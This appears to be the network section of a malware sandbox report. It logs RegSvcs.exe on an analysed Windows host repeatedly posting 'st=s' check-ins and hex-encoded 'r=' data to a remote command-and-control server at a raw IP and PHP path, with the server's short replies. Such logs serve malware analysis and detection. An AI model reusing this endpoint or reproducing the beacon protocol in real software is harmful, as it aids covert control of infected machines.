Jan 8, 2025 08:42:09.574858904 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:11.201385021 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:42:11.897679090 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49745	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:13.420110941 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:42:14.191576004 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49748	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:15.978667021 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:42:16.679409027 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49749	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:18.202264071 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:42:18.914427042 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49750	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:20.566791058 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:42:21.269119024 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49751	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:22.795001030 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:42:23.498547077 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49752	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:25.138719082 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:42:25.831198931 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49753	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:27.342251062 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:42:28.049412012 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49754	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:29.688921928 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:42:30.393450022 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49755	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:31.904637098 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:42:32.618551016 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49756	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:34.248143911 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:42:34.952279091 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49757	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:36.466681957 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:42:37.175318003 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49758	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:38.810637951 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:42:39.525396109 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49759	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:41.046906948 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:42:41.763613939 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	55810	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:43.390624046 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:42:44.077456951 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	55811	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:45.591969013 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:42:46.302700996 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	55812	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:47.936800957 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:42:48.624346018 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	55813	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:50.140458107 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:42:50.835179090 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	55814	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:52.466824055 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:42:53.154411077 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	55815	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:54.669842958 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:42:55.380978107 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	55822	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:57.173350096 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:42:57.863358021 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	55838	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:59.404030085 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:43:00.109401941 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	55854	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:01.734025002 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
